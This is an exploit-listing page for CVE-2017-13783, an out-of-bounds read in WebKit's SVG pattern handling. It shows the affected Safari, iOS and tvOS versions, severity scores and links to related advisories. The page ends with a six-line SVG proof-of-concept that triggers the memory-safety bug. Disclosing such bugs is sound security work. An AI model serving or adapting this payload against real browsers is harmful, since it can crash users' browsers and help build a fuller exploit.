Exploit for WebKit: out-of-bounds read in WebCore::SVGPatternElement::collectPatternAttributes

seebug · 2017-11-23

Description

Out-of-bounds read in WebCore::SVGPatternElemen

Affected software

Apple Safari< 11.0.1

Apple Iphone Os< 11.1

Apple Tvos< 11.1

All known vulnerabilities by product

Safari Ubuntu Webkit Icloud Ios Itunes Tvos

CVSS 6.8 for CVE-2017-13783

6.8

MEDIUM SEVERITY

VectorAV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/

EPSS Score

5.8%higher than 92.2% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2017-11-23 00:00

Last Seen:2017-12-25 18:31

Reporter:Root

Tags

webkitsecurity vulnerabilityasan buildheap buffer overflowwebcoresvgpatternelementpatternattributes

Other exploits for CVE-2017-13783

WebKit - WebCore::SVGPatternElement::collectPatternAttributes Out-of-Bounds Read Exploit

2017-11-22 Google Security ResearchZDT

WebKit - 'WebCore::SVGPatternElement::collectPatternAttributes' Out-of-Bounds Read

2017-11-22 Google Security ResearchEXPLOITDB

WebKit WebCore::SVGPatternElement::collectPatternAttributes Out-Of-Bounds Read

2017-11-22 Ivan FratricPACKETSTORM

Exploit Code

MARKDOWN6 lines

## https://sploitus.com/exploit?id=SSV:96889
<svg stroke="url(#pattern)">
<pattern id="pattern" xlink:href="#filter">
</pattern>
<line x1="0" y1="0" x2="1" y2="1" />
<filter id="filter" height="0" />